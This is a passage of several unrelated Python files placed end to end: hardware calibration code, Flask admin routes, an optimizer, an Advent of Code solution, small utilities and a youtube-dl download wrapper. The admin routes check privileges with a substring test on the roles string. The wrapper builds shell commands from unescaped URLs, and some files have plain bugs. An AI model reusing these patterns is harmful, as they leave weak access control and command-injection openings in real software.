        meas = self._qsoc.snd_rcv(np.zeros(self.act_space.shape))

        # Correct for offset, and construct the state from the measurements
        self.state = self._correct_sensor_offset(meas)

        # Reset time counter
        self._curr_step = 0

        return self.observe(self.state)

    def _correct_sensor_offset(self, meas: np.ndarray) -> np.ndarray:
        return meas - self._sens_offset

    def _wait_for_pole_at_rest(self, thold_ang_vel: float = 0.1 / 180.0 * np.pi):
        """Wait until the Qube's rotating pole is at rest"""
        cnt = 0
        while cnt < 1.5 / self._dt:
            # Get next measurement
            meas = self._qsoc.snd_rcv(np.zeros(self.act_space.shape))

            if np.abs(meas[2]) < thold_ang_vel and np.abs(meas[3]) < thold_ang_vel:
                cnt += 1
            else:
                cnt = 0

    def calibrate(self):
        """Calibration routine to move to the init position and determine the sensor offset"""
        with completion_context("Estimating sensor offset", color="c", bright=True):
            # Reset calibration
            self._sens_offset = np.zeros(4)  # last two entries are never calibrated but useful for broadcasting
            self._wait_for_pole_at_rest()

            # Create parts of the calibration controller
            go_right = QQubeGoToLimCtrl(positive=True, cnt_done=int(1.5 / self._dt))
            go_left = QQubeGoToLimCtrl(positive=False, cnt_done=int(1.5 / self._dt))
            go_center = QQubePDCtrl(self.spec)

            # Estimate alpha offset. Go to both limits for theta calibration.
            meas = self._qsoc.snd_rcv(np.zeros(self.act_space.shape))
            while not go_right.done:
                meas = self._qsoc.snd_rcv(go_right(to.from_numpy(meas)))
            while not go_left.done:
                meas = self._qsoc.snd_rcv(go_left(to.from_numpy(meas)))
            self._sens_offset[0] = (go_right.th_lim + go_left.th_lim) / 2

            # Estimate alpha offset
            self._wait_for_pole_at_rest()
            meas = self._qsoc.snd_rcv(np.zeros(self.act_space.shape))
            self._sens_offset[1] = meas[1]

        print_cbt(
            f"Sensor offset: "
            f"theta = {self._sens_offset[0]*180/np.pi:.3f} deg, "
            f"alpha = {self._sens_offset[1]*180/np.pi:.3f} deg",
            "g",
        )

        with completion_context("Centering cube", color="c", bright=True):
            meas = self._qsoc.snd_rcv(np.zeros(self.act_space.shape))
            while not go_center.done:
                meas = self._qsoc.snd_rcv(go_center(to.from_numpy(meas - self._sens_offset)))


from flask import request, redirect, render_template, url_for, flash
from flask_login import current_user, login_required
from app import db
from app.admin import bp
from app.models import User
from app.main.forms import QMForm
from app.auth.forms import RegistrationForm

@bp.route('/', methods=['GET', 'POST'])
@login_required
def index():
    if 'admin' not in str(current_user.roles):  return redirect(url_for('index'))
    q = QMForm()
    query =  User.query
    if q.validate_on_submit():
            print(q.dt_start.data, q.dt_end.data, q.q.data)
            search = q.q.data
            start = q.dt_start.data
            end = q.dt_end.data
            if search:
                query = query.filter(User.username.like(f'%{search}%'))
            if start:
                query = query.filter(User.created_at >= start)
            if end:
                    query = query.filter(User.created_at <= end)
    return render_template("admin/index.html",
                            title='Users',
                            data=query.all(),
                            query_form=q,
                            table_name='Users',
                            add='admin.add')

@bp.route('/delete/<int:id>')
@login_required
def delete(id):
    if 'admin' not in str(current_user.roles):  return redirect(url_for('index'))
    user = User.query.get_or_404(id)
    try:
        db.session.delete(user)
        db.session.commit()
        return redirect(url_for('.index'))
    except Exception as e:
        return f'Deleting error: {e}'

@bp.route('/add', methods=['GET', 'POST'])
@login_required
def add():
    if 'admin' not in str(current_user.roles):  return redirect(url_for('index'))
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, email=form.email.data)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('User added!')
        return redirect(url_for('.index'))
    return render_template('form.html', title='Add user', form=form)

@bp.route('/edit/<int:id>', methods=['GET', 'POST'])
@login_required
def edit(id):
    if 'admin' not in str(current_user.roles):  return redirect(url_for('index'))
    user = User.query.get_or_404(id)
    form = RegistrationForm(username=user.username, email=user.email)
    if form.validate_on_submit():
        user.username = form.username.data
        user.email = form.email.data
        user.set_password(form.password.data)
        try:
            db.session.commit()
        except Exception as e:
            flash(f'Updating error: {e}')
        return redirect(url_for('.index'))
    else:
        return render_template('form.html', title='Edit user', form=form)


import volmdlr as vm
import volmdlr.primitives2d as p2d
import volmdlr.primitives3d as p3d
import plot_data.core as plot_data
import math
from itertools import product
from random import random
import cma

from dessia_common.core import DessiaObject
from typing import List

class Component(DessiaObject):
    _standalone_in_db = True

    def __init__(self, p0: vm.Point2D, p1: vm.Point2D, p2: vm.Point2D, p3: vm.Point2D, name: str = ''):
        DessiaObject.__init__(self, name=name)
        self.p3 = p3
        self.p2 = p2
        self.p1 = p1
        self.p0 = p0
        self.primitive = self._primitive()

    def _primitive(self):
        points = [self.p0, self.p1, self.p2, self.p3]
        l1 = vm.primitives2d.ClosedRoundedLineSegments2D(points, {})
        return l1

    def update(self, p0: vm.Point2D, p1: vm.Point2D, p2: vm.Point2D, p3: vm.Point2D):
        self.p3 = p3
        self.p2 = p2
        self.p1 = p1
        self.p0 = p0

    def length(self):
        points = [self.p0, self.p1, self.p2, self.p3]
        length = 0
        for p1, p2 in zip(points[0:-1], points[1:]):
            length += p1.point_distance(p2)
        length += points[0].point_distance(points[-1])
        return length

class Optimizer(DessiaObject):
    _standalone_in_db = True
    _dessia_methods = ['optimize']

    def __init__(self, component: Component, name: str = ''):
        DessiaObject.__init__(self, name=name)
        self.component = component

    def optimize(self) -> List[Component]:
        solutions = []
        for i in range(10):
            x0a = [random() for i in range(8)]

            xra, fx = cma.fmin(self.objective, x0a, 0.1,
                               options={'bounds': [0, 1],
                                        'tolfun': 1e-8,
                                        'verbose': 10,
                                        'ftarget': 1e-8,
                                        'maxiter': 100})[0:2]

            x_sol = xra
            points = [vm.Point2D(x_sol[2 * i], x_sol[2 * i + 1]) for i in range(int(len(x_sol) / 2.))]
            self.component.update(*points)
            length = self.component.length()
            if abs(length - 0.2) < 1e-3:
                solutions.append(self.component.copy())
        return solutions

    def objective(self, x):
        objective = 0
        points = [vm.Point2D(x[2 * i], x[2 * i + 1]) for i in range(int(len(x) / 2.))]
        self.component.update(*points)
        length = self.component.length()
        length_obj = 0.2
        return (length - length_obj)**2


import argparse
import time

from SolitaireTrainingDashboard import SolitaireTrainingDashboard

def main():
    # Define command line arguments
    parser = argparse.ArgumentParser(description='SolDash - Solitaire Training Dashboard')
    parser.add_argument('--threads', type=int, default=4, help='Number of threads to use for training')

    # Parse command line arguments
    args = parser.parse_args()

    # Initialize a new SolitaireTrainingDashboard
    dashboard = SolitaireTrainingDashboard(trainer, threads=args.threads)

    # Start the dashboard
    dashboard.start()

if __name__ == '__main__':
    main()


"""
Advent of Code 2018

https://adventofcode.com/2018/day/9

--- Day 9: Marble Mania ---

You talk to the Elves while you wait for your navigation system to initialize.
To pass the time, they introduce you to their favorite marble game.

The Elves play this game by taking turns arranging the marbles in a circle
according to very particular rules. The marbles are numbered starting with 0
and increasing by 1 until every marble has a number.

First, the marble numbered 0 is placed in the circle. At this point, while it
contains only a single marble, it is still a circle: the marble is both
clockwise from itself and counter-clockwise from itself. This marble is
designated the current marble.

Then, each Elf takes a turn placing the lowest-numbered remaining marble into
the circle between the marbles that are 1 and 2 marbles clockwise of the
current marble. (When the circle is large enough, this means that there is one
marble between the marble that was just placed and the current marble.)
The marble that was just placed then becomes the current marble.

However, if the marble that is about to be placed has a number which is a
multiple of 23, something entirely different happens.
First, the current player keeps the marble they would have placed, adding it
to their score. In addition, the marble 7 marbles counter-clockwise from
the current marble is removed from the circle and also added to the current
player's score. The marble located immediately clockwise of the marble
that was removed becomes the new current marble.

For example, suppose there are 9 players. After the marble with value 0 is
placed in the middle, each player (shown in square brackets) takes a turn.
The result of each of those turns would produce circles of marbles like this,
where clockwise is to the right and the resulting current marble is in
parentheses:

[-] (0)
[1]  0 (1)
[2]  0 (2) 1
[3]  0  2  1 (3)
[4]  0 (4) 2  1  3
[5]  0  4  2 (5) 1  3
[6]  0  4  2  5  1 (6) 3
[7]  0  4  2  5  1  6  3 (7)
[8]  0 (8) 4  2  5  1  6  3  7
[9]  0  8  4 (9) 2  5  1  6  3  7
[1]  0  8  4  9  2(10) 5  1  6  3  7
[2]  0  8  4  9  2 10  5(11) 1  6  3  7
[3]  0  8  4  9  2 10  5 11  1(12) 6  3  7
[4]  0  8  4  9  2 10  5 11  1 12  6(13) 3  7
[5]  0  8  4  9  2 10  5 11  1 12  6 13  3(14) 7
[6]  0  8  4  9  2 10  5 11  1 12  6 13  3 14  7(15)
[7]  0(16) 8  4  9  2 10  5 11  1 12  6 13  3 14  7 15
[8]  0 16  8(17) 4  9  2 10  5 11  1 12  6 13  3 14  7 15
[9]  0 16  8 17  4(18) 9  2 10  5 11  1 12  6 13  3 14  7 15
[1]  0 16  8 17  4 18  9(19) 2 10  5 11  1 12  6 13  3 14  7 15
[2]  0 16  8 17  4 18  9 19  2(20)10  5 11  1 12  6 13  3 14  7 15
[3]  0 16  8 17  4 18  9 19  2 20 10(21) 5 11  1 12  6 13  3 14  7 15
[4]  0 16  8 17  4 18  9 19  2 20 10 21  5(22)11  1 12  6 13  3 14  7 15
[5]  0 16  8 17  4 18(19) 2 20 10 21  5 22 11  1 12  6 13  3 14  7 15
[6]  0 16  8 17  4 18 19  2(24)20 10 21  5 22 11  1 12  6 13  3 14  7 15
[7]  0 16  8 17  4 18 19  2 24 20(25)10 21  5 22 11  1 12  6 13  3 14  7 15

The goal is to be the player with the highest score after the last marble is
used up. Assuming the example above ends after the marble numbered 25, the
winning score is 23+9=32 (because player 5 kept marble 23 and removed marble
9, while no other player got any points in this very short example game).

Here are a few more examples:

10 players; last marble is worth 1618 points: high score is 8317
13 players; last marble is worth 7999 points: high score is 146373
17 players; last marble is worth 1104 points: high score is 2764
21 players; last marble is worth 6111 points: high score is 54718
30 players; last marble is worth 5807 points: high score is 37305

What is the winning Elf's score?

Your puzzle answer was 394486.

--- Part Two ---

Amused by the speed of your answer, the Elves are curious:

What would the new winning Elf's score be if the number of the last marble
were 100 times larger?

Amused by the speed of your answer, the Elves are curious:

What would the new winning Elf's score be if the number of the last marble
were 100 times larger?

Your puzzle answer was 3276488008.
"""

class Marble(object):
    def __init__(self, value):
        super(Marble, self).__init__()
        self.value = value
        self.next_marble = self
        self.previous_marble = self

    def __str__(self):
        return str(self.as_list())

    def as_list(self):
        values = [self.value]
        current_marble = self.rotate()
        while current_marble != self:
            values.append(current_marble.value)
            current_marble = current_marble.rotate()
        return values

    def append(self, value):
        new_marble = Marble(value)
        # Link new marble to existing marbles
        new_marble.next_marble = self.next_marble
        new_marble.previous_marble = self
        # Link existing marbles to new marble
        self.next_marble.previous_marble = new_marble
        self.next_marble = new_marble

    def pop(self):
        value = self.value
        self.previous_marble.next_marble = self.next_marble
        self.next_marble.previous_marble = self.previous_marble
        return value

    def rotate(self, steps=1):
        if steps > 1:
            return self.next_marble.rotate(steps=steps-1)
        else:
            return self.next_marble

    def rotate_counter_clockwise(self, steps=1):
        if steps > 1:
            return self.previous_marble.rotate_counter_clockwise(steps=steps-1)
        else:
            return self.previous_marble

def next_player(scores, current_player):
    if current_player == len(scores):
        return 1
    else:
        return current_player + 1

def play_marble_mania(players, last_marble, verbose=False):
    scores = {player: 0 for player in range(1, players+1)}
    current_player = 1
    ring = Marble(0)
    for marble in range(1, last_marble+1):
        if marble % 23 == 0:
            ring = ring.rotate_counter_clockwise(7)
            removed_marble = ring.pop()
            scores[current_player] += marble + removed_marble
        else:
            ring = ring.rotate()
            ring.append(marble)
        ring = ring.rotate()
        if verbose:
            print_game_state(ring, current_player)
        current_player = next_player(scores, current_player)
    return scores

def print_game_state(ring, current_player):
    origin_marble = ring
    while origin_marble.value != 0:
        origin_marble = origin_marble.rotate()
    board = "".join([f" {marble} " if marble != ring.value else f"({marble})"
                                   for marble in origin_marble.as_list()])
    print(f"[{current_player}]", board, sep="")

def calculate_highest_score(players, last_marble):
    scores = play_marble_mania(players, last_marble)
    return max(scores.values())

def main():
    marbles = []
    with open('day_9_marbles.txt', 'r') as marbles_file:
        line = marbles_file.read().splitlines()
        players, last_marble = [int(s) for s in line[0].split()
                                       if s.isdigit()]

    score = calculate_highest_score(players, last_marble)
    print(f"Winning Elf's score: {score}")

    score = calculate_highest_score(players, last_marble*100)
    print(f"Winning Elf's score (with number of last marble x100): {score}")

if __name__ == '__main__':
    main()


#Doung Lan Cheung
#Lab7p2.py
from graphics import *

def main():
#Set up graphics window
    win=GraphWin("Lab7p2",300,400)
#set cooridinates
    win.setCoords(0,0,3,4)
#draw pink circle
    c = Circle(Point(.5,3.5),.3)
    c.setFill("pink")
    c.draw(win)
#click mouse 5 times to move circle to the right
#    midy=4/2
    Text(Point(1.5,2),"Instructions").draw(win)
    nextInstructions=Text(Point(1.5,1),"Click mouse 5 times.")
    nextInstructions.draw(win)
    for q in range(5):
        win.getMouse()
        c.move(.19,-0.05)
#click mouse to close graphics window
    nextInstructions.setText("Click mouse to close window.")
    win.getMouse()
    win.close()
#draw a blue rectangle and clone it with green color
    r = Rectangle(Point(0.5,1), Point(0.7,1.5))
    r.setFill("blue")
    r.setOutline("light blue")
    r.draw(win)
#Clone rectangle
    rClone=r.clone()
    rClone.move(.5,0)
    rClone.setFill("green")
    rClone.setOutline("dark green")
    rClone.setWidth(5)
    rClone.draw(win)
#draw vertical line halfway between rectangles
    L = Line(Point(.85,0), Point(.85,4))
    L.setFill("magenta")
    L.draw(win)
main()


#!/usr/bin/python3

# ## {R2D2919B742E} ##
# ###########################################################################
# What if magic existed?
# What if a place existed where your every thought and dream come to life.
# There is only one catch: it has to be written down.
# Such a place exists, it is called programming.
#    - Scott Taylor Reph, RightThumb.com
# ###########################################################################
# ## {C3P0D40fAe8B} ##

import os
import sys
# import _rightThumb._vars as _v

def getText( theFile ):
    lines = None
    if os.path.isfile(theFile):
        try:
            f = open(theFile, 'r', encoding='utf-8')
            lines = f.readlines()
            f.close()
        except Exception as e:
            try:
                f = open(theFile, 'r', encoding='latin-1')
                lines = f.readlines()
                f.close()
            except Exception as e:
                f = open(theFile, 'r')
                lines = f.readlines()
                f.close()
    else:
        if not e:
            return None
        print('(getText) Error: No File')
        sys.exit()
    if type(lines) == list:
        lines = ''.join( lines )
    return lines

def saveText( rows, theFile, errors=True ):
    # print(type(rows))
    try:
        if type(rows) == bytes:
            rows = str(rows,'utf-8')
        f = open(theFile,'w', encoding='utf-8')
        # if type(rows) == str:

        # print(type(rows))
        # f.write(str(rows))
        # rows = [unicode(x.strip()) if x is not None else u'' for x in rows]
        # f.write(rows)
        # f.write(rows.encode("iso-8859-1", "replace"))

        # print(type(rows))
        if type(rows) == str:
            # print(rows)
            f.write(rows)
        else:
            for i,row in enumerate(rows):
                # f.write(str(row) + os.linesep)
                if i == 0:
                    if len(str(row)) > 0:
                        f.write(str(row) + '\n')
                else:
                    f.write(str(row) + '\n')
        f.close()
    except Exception as e:
        if type(rows) == list:
            result = ''
            for i,row in enumerate(rows):
                # f.write(str(row) + os.linesep)
                if i == 0:
                    if len(str(row)) > 0:
                        result += str(row) + '\n'
                else:
                    result += str(row) + '\n'

            rows = result
        open(theFile, 'wb').write(rows)
        if errors:
            print( 'Auto correction when saving text' )

def getFolder(folder):
    dirList = os.listdir(folder)
    # i = 0

    for item in dirList:
        path = folder + os.sep + item
        if os.path.isfile(path):
            if path.endswith('.sh'):
                print( path )
                file = getText( path )
                file = file.replace( chr(10), '\n' )
                file = file.replace( '\r', '\n' )
                file = file.replace( '\n\n', '\n' )
                file = file.replace( 'src', 'src' )
                file = file.replace( '\r', '\n' )
                saveText( file, path )
        if os.path.isdir(path):
            try:
                getFolder(path)
            except Exception as e:
                pass

def action():
    folder = os.getcwd()
    getFolder(folder)

if __name__ == '__main__':
    action()


# Always prefer setuptools over distutils
from setuptools import setup

# To use a consistent encoding
from codecs import open
from os import path

# The directory containing this file
HERE = path.abspath(path.dirname(__file__))

# Get the long description from the README file
with open(path.join(HERE, 'README.md'), encoding='utf-8') as f:
    long_description = f.read()

# This call to setup() does all the work
setup(
    name="smodslib",
    version="0.1.20",
    description="A Skymods.ru automation library",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/vincios/smodslib",
    author="vincios",
    author_email="",
    license="MIT",
    packages=["smodslib"],
    install_requires=["requests", "beautifulsoup4", "cloudscraper"]
)


import random

def is_letter(c):
    return ord(c) > ord('a') and ord(c) < ord('z')\
        or ord(c) > ord('A') and ord(c) < ord('Z')

def mocking_case(string):
    new_str = ""
    upper = True
    for c in string:
        if is_letter(c):
            if upper:
                new_str += c.upper()
            else:
                new_str += c.lower()
            if random.randint(0,100) >= 30:
                upper = not upper
        else:
            new_str += c
    return new_str


#!/usr/bin/env python3
#
# Author: naisanza@gmail.com

import re
import os
import json
import stat
import time
import psutil
import shutil
import requests
import subprocess

from queue import Queue
from shutil import move
from subprocess import PIPE
from bs4 import BeautifulSoup
from concurrent.futures import (ThreadPoolExecutor, wait, as_completed)

from automon.log.logger import Logging
from automon.helpers.subprocessWrapper import Run
from automon.helpers.sanitation import Sanitation

# logging
log_Url = Logging('Url', Logging.DEBUG)
log_Options = Logging('Options', Logging.DEBUG)
log_LogStream = Logging('LogStream', Logging.ERROR)
log_File = Logging('File', Logging.ERROR)
log_Youtube = Logging('Youtube', Logging.DEBUG)

logging_spaces = 0

class Url(object):
    url = str
    name = str
    folder = str
    download_name = str

    custom_name = str
    custom_folder = str

    filetype = type

    def __init__(self, url: str, name: str, folder: str):

        self.url = url
        self.name = name if name else ''
        self.folder = folder if folder else ''

        self.custom_name = self.name
        self.custom_folder = self.folder

        self.files = []

        log_Url.debug(f'{self.__str__()}')

    def __repr__(self):
        if self.folder and self.name:
            return f'{self.folder} {self.name} {self.url}'
        if self.folder and not self.name:
            return f'{self.folder} {self.url}'
        if not self.folder and self.name:
            return f'{self.name} {self.url}'
        else:
            return f'{self.url}'

    def __eq__(self, other):
        if isinstance(other, Url):
            return (self.url, self.name, self.download_name, self.folder) == \
                   (other.url, self.name, self.download_name, self.folder)
        else:
            return False

class Options(object):
    def __init__(self, folder: str, url_object: Url, mp3: bool = False):

        # Youtube-dl configuration
        self._yt = os.path.join('bin', 'youtube-dl')
        self._yt_name = f'--get-filename -o "{folder}/%(title)s.%(ext)s"'
        self._yt_args = f'-o "{folder}/%(title)s.%(ext)s"'

        self.python = 'python3'

        self.mp3 = mp3

        name = url_object.custom_name or ''
        url = url_object.url

        if not mp3:
            if name:
                self.dl = f'{self.python} {self._yt} -o "{os.path.join(folder, name)}.%(ext)s" {url}'
            else:
                self.dl = f'{self.python} {self._yt} -o "{folder}/%(title)s.%(ext)s" {url}'

        # Requires ffmpeg or avconv and ffprobe or avprobe
        # apt install ffmpeg avconv
        # apt install ffprobe avprobe
        if mp3:
            if name:
                self.dl = f'{self.python} {self._yt} -o "{os.path.join(folder, name)}.%(ext)s" ' \
                          f'--extract-audio --audio-format mp3 -k {url}'
            else:
                self.dl = f'{self.python} {self._yt} {self._yt_args} --extract-audio --audio-format mp3 -k {url}'

    def __str__(self):
        return f'{self.dl}'

class LogStream(object):
    def __init__(self):
        """Hold a bunch of logs
        """
        self.logs = []
        self.errors = []

    def store(self, log):
        """Logs are expected as a string list
        """
        output, error = log

        output = output.decode().splitlines()
        error = error.decode().splitlines()

        self.logs.extend(output)
        self.errors.extend(error)

        log_LogStream.debug(f'{len(self.logs)} lines')
        if self.errors:
            if len(self.errors) > 5:
                log_LogStream.error(f'{len(self.errors)} lines')
            else:
                log_LogStream.error(f'{self.errors}')

    def pop(self, index=0):
        """Pop a log off the top
        """
        try:
            log = self.logs.pop(index)
            log_LogStream.debug(log)
            return log
        except:
            return False

class File(object):
    def __init__(self, url: str, filename: str, folder: str = None, extension: str = None):

        self.url = url
        self.download_name = filename
        self.folder = folder or ''
        self.extension = extension or ''
        self.filename = None
        self.size = None

        self.logs = LogStream()

    def add_logs(self, logs: LogStream):
        self.logs = logs

    def _parse_log(self, log: str):
        log_regexes = [
            # merging files into better format
            {'type': 'finished', 'regex': '(?<=Merging formats into ").*(?=")'},
            # file exists
            {'type': 'finished', 'regex': '(?<=^\[download\] ).*(?= has already been downloaded)(?= and merged)?'},
            # create new file
            {'type': 'finished', 'regex': '(?<=Merging formats into ").*(?=")'},
            # new audio file
            {'type': 'finished', 'regex': '(?<=Destination: ).*mp3'},
            # catch all files
            {'type': 'finished', 'regex': '(?<=Destination: ).*'},
        ]

        for r in log_regexes:
            regex = r.get('regex')
            r_type = r.get('type')

            m = re.search(regex, log)

            if m:
                log_File.debug(f'[regex] {regex} => {m.group()}')
                return m.group()

    def get_filename(self, download_path):

        while True:

            log = self.logs.pop()

            if log is False:
                break

            result = self._parse_log(log)

            if result:
                filename = os.path.split(result)[1]
                extension = os.path.splitext(filename)[1]
                filepath = os.path.join(download_path, filename)

                if os.path.exists(filepath):
                    self.filename = filename
                    if not self.extension:
                        self.extension = extension
                    self.size = os.stat(filepath).st_size
                    log_File.info(f'{self.filename}')

    def __str__(self):
        if self.download_name and self.extension and self.folder:
            return f'{self.folder}/{self.download_name}{self.extension}'
        elif self.download_name and self.folder:
            return f'{self.folder}/{self.download_name}'
        else:
            return f'{self.download_name}'

    def __eq__(self, other):
        if isinstance(other, File):
            return (self.download_name, self.extension, self.filetype) \
                   == (other.download_name, other.extension, other.filetype)
        else:
            return NotImplemented

class Youtube(object):

    def __init__(self, max_thread_pool: int = None, urls_file: str = None):
        """A multi-threaded wrapper for youtube-dl
        """

        # Directories
        self.dir_downloading = os.path.join('files', 'downloading')
        self.dir_finished = os.path.join('files', 'finished')
        self.dir_pending = os.path.join('files', 'pending')
        self.dir_cookies = os.path.join('files', 'cookies')

        self._prepare_folders()

        self.run = Run()
        self.urls_file = urls_file
        self.urls = self._url_builder()
        self.cookies = self._cookie_builder(self.dir_cookies) or []

        self.downloads = []
        self.downloading = []
        self.finished = []

        self.thread_pool = self._config_thread_pool(thread_pool=max_thread_pool)
        self.queue = Queue()

        self._queue_urls()
        self._start_downloads(mp3=False)

    def _config_thread_pool(self, thread_pool):
        """Configure threading pool
        """

        if thread_pool:
            return ThreadPoolExecutor(max_workers=thread_pool)
        else:
            if self.urls:
                return ThreadPoolExecutor(len(self.urls))
            else:
                return ThreadPoolExecutor()

        return False

    def _cookie_builder(self, cookies):
        """Create a clean list of cookies
        """

        cookies = self._cookie_jar(cookies)

        return cookies

    def _cookie_jar(self, cookie_path):
        """Create a list of cookies
        """

        temp_c = []
        cookies = []
        # Open cookies
        # Cookies exported from Google Chrome extension 'EditThisCookie'
        for _ in os.listdir(cookie_path):
            with open(cookie_path + '/' + _, 'r') as f:
                cookie = f.read()
                temp_c.append(cookie)

        for _ in temp_c:
            # TODO: bug - self._cookie_jar() should return ready-to-use cookie objects built by requests.cookies
            cookie = json.loads(_)  # list of dicts

            # TODO: bug - requests.cookies.RequestsCookieJar() is broken
            # jar = requests.cookies.RequestsCookieJar()

            if len(cookie) > 1:
                for _ in cookie:
                    # TODO: bug - build cookie object with requests
                    pass

        return cookies

    def _download(self, url_object: Url, yt: Options):
        """Download the url
        """

        start = int(time.time())

        url = url_object.url
        name = url_object.custom_name
        folder = url_object.custom_folder

        if yt.mp3:
            file = File(url=url, filename=name, folder=folder, extension='.mp3')
        else:
            file = File(url=url, filename=name, folder=folder)

        logs = LogStream()

        # Download file
        log_Youtube.debug(f'[{"downloading": >{logging_spaces}}] {name}')
        self.downloads.append(file.add_logs(logs))
        logs.store(self._run(yt.dl))

        # get filename from logs
        file.get_filename(self.dir_downloading)

        self._finished(file)
        log_Youtube.info(f'[{"download": >{logging_spaces}}] took {int(time.time() - start)} seconds to complete {url}')

    def _finished(self, file: File):
        """Handle finished download
        """

        log_Youtube.debug(f'[finished ] {file.filename} ({os.stat(os.path.join(self.dir_downloading, file.filename)).st_size} B)')
        self._move_file(file)

    def _url_builder(self) -> [Url]:
        """Create a clean list of urls

        You can put any text file or html file into files/pending

        The list builder will take any file inside of files/pending
        and create a list of URLs from it
        """

        return self._read_files(self.dir_pending)

    def _read_files(self, directory) -> [Url]:
        """Read files from 'pending'
        """

        urls = []

        def html_file(f: str) -> [Url.url]:
            """Read HTML file
            """

            urls = []

            # Read with Beautifulsoup
            soup = BeautifulSoup(f.read(), 'html.parser')
            for a in soup.find_all('a', href=True):
                a = a['href'].strip()
                # TODO: bug - Need to append originating URL to <href> link
                if a == '' or a.startswith('#') or a.startswith('/'):
                    continue
                else:
                    urls.append(a)

            return urls

        def get_page(url: str) -> [Url.url]:
            """Download and parse the page
            """

            urls = []
            cookies = self.cookies

            def request_page(url):
                """Download the page

                Try using each cookie with every page
                """

                urls = []

                # TODO: feat - Add URL regex
                r = ''

                # TODO: feat - Make downloading multithreaded
                # Run a new thread for each cookie

                for _ in cookies:
                    jar = _
                    # TODO: feat - Add logic to only use cookie if url is in cookie['domain']
                    # If url is in cookie, use cookie
                    r = requests.get(url, cookies=jar)
                    soup = BeautifulSoup(r.text, 'html.parser')
                    for a in soup.find_all('a', href=True):
                        a = a['href'].strip()
                        url = url + a
                        # TODO: bug - Assert string is a URL
                        # if re.findall(r, _):
                        urls.append(url)

                return urls

            for page_urls in request_page(url):
                urls.extend(page_urls)

            return urls

        for item in os.listdir(directory):
            file_ = os.path.join(directory, item)

            log_Youtube.debug(f'[{"reading": >{logging_spaces}}] {file_}')

            if os.path.isfile(file_):

                fn, fext = os.path.splitext(item)

                # ignore hidden files
                if not fn.startswith('.') and not fn.startswith('#'):

                    with open(file_, 'r') as f:
                        if 'html' in fext.lower() or 'htm' in fext.lower():  # HTML file
                            urls.extend(html_file(f))

                        else:
                            for line in f.read().splitlines():  # Regular text file
                                if line == '' or line.startswith('#') or line.startswith('/'):
                                    continue

                                url_object = self._prepare_url(line)

                                if url_object in urls:
                                    continue

                                if 'youtube.com' in url_object.url.lower():
                                    urls.append(url_object)
                                elif url_object.url:
                                    urls.append(url_object)
                                else:
                                    # TODO: bug - Determine whether to parse the page or not
                                    # If the page needs to be parsed for URLs, parse it
                                    # If the page doesn't need to be parsed for URLS, append it

                                    # for _ in get_page(url):
                                    #     urls.append(_)
                                    urls.append(url_object)
        return urls

    def _run(self, command):
        """Run a command
        """
        try:
            log_Youtube.debug(f'[{"run": >{logging_spaces}}] {command}')
            return self.run.run_command(command)
            # return subprocess.Popen(command.split(), stdout=PIPE, stderr=PIPE).communicate()
        except Exception as e:
            log_Youtube.error(e)

    def _start_downloads(self, mp3: bool = True):
        """Start downloads in thread pool
        """
        downloads = 0
        sleep = 0
        while True:
            if self.queue.empty():
                break

            if self._max_cpu_usage(80):
                url = self.queue.get()
                downloads += 1

                # download video
                video_options = Options(folder=self.dir_downloading, url_object=url)
                self.futures.append(self.thread_pool.submit(self._download, url, video_options))

                if mp3:
                    # download mp3
                    mp3_options = Options(folder=self.dir_downloading, url_object=url, mp3=True)
                    self.futures.append(self.thread_pool.submit(self._download, url, mp3_options))
                    log_Youtube.info(f'[{"download": >{logging_spaces}}] ({downloads}/{len(self.urls)}) {url}')
                    sleep = int(sleep / 2)
            else:
                sleep += int(sleep + 1 * 2)
                # self._log.debug('[_downloader] Sleeping for: {} seconds'.format(sleep))
                time.sleep(sleep)

    def _max_cpu_usage(self, max_cpu_percentage=80):
        """Limit max cpu usage
        """
        if psutil.cpu_percent() < max_cpu_percentage:
            log_Youtube.debug(f'[{"cpu": >{logging_spaces}}] {psutil.cpu_percent()}%')
            return True
        else:
            log_Youtube.debug(f'[{"cpu": >{logging_spaces}}] {psutil.cpu_percent()}%')
            return False

    def _move_file(self, file: File):
        """Move file
        """

        filename = file.filename
        folder = file.folder

        source = os.path.join(self.dir_downloading, filename)

        if not os.path.exists(source):
            log_Youtube.error(f'[move ] source not found: {source}')
            return False

        if folder:
            if not os.path.exists(os.path.join(self.dir_finished, folder)):
                os.mkdir(os.path.join(self.dir_finished, folder))
            destination = os.path.join(self.dir_finished, folder, filename)
            destination_short = f'{os.path.split(os.path.split(destination)[0])[1]}/{os.path.split(destination)[1]}'
        else:
            destination = os.path.join(self.dir_finished, filename)
            destination_short = f'{os.path.split(os.path.split(destination)[0])[1]}/{os.path.split(destination)[1]}'

        try:
            log_Youtube.debug(f'[moving ] {os.path.split(destination)[-1]} ({os.stat(source).st_size} B)')

            # copy content, stat-info (mode too), timestamps...
            shutil.copy2(source, destination)
            # copy owner and group
            st = os.stat(source)
            os.chown(destination, st[stat.ST_UID], st[stat.ST_GID])
            # os.remove(source)

            log_Youtube.debug(
                f'[moved ] {destination_short} ({os.stat(destination).st_size} B)')
            return True
        except Exception as e:
            log_Youtube.error(f'[moving ] failed {os.path.split(source)[-1]}')
            return False

    def _prepare_folders(self):
        _dirs = [self.dir_downloading, self.dir_finished, self.dir_pending, self.dir_cookies]

        for directory in _dirs:
            if not os.path.exists(directory):
                os.makedirs(directory)
            if directory == self.dir_downloading:
                for directory in os.listdir(self.dir_downloading):
                    # Don't delete up previous downloads
                    # Clean out previous downloads
                    # os.remove(self.dir_d + '/' + directory)
                    pass

    def _prepare_url(self, raw_url: str) -> tuple:

        if not isinstance(raw_url, str) and not raw_url:
            return False

        regex = {
            'all': f'(.*),(.*),(.*)',
            'no folder': f'(.*),(.*)',
            'url only': f'(.*)'
        }

        for s, r in regex.items():
            result = re.search(r, raw_url)

            if result:
                if s == 'all':
                    url, name, folder = result.groups()

                if s == 'no folder':
                    url, name = result.groups()
                    folder = ''

                if s == 'url only':
                    url = result.groups()[0]
                    name = ''
                    folder = ''

                break

        url = Sanitation.strip(url)
        name = Sanitation.safe_filename(name)
        folder = Sanitation.safe_foldername(folder)

        return Url(url, name, folder)

    def _queue_urls(self):
        """Add urls to queue
        """
        added = 0
        urls = len(self.urls)
        self.futures = list()
        for url in self.urls:
            added += 1
            self.queue.put(url)
            log_Youtube.info(f'[{"queue": >{logging_spaces}}] ({added}/{urls}) {url}')

def main():
    """Main

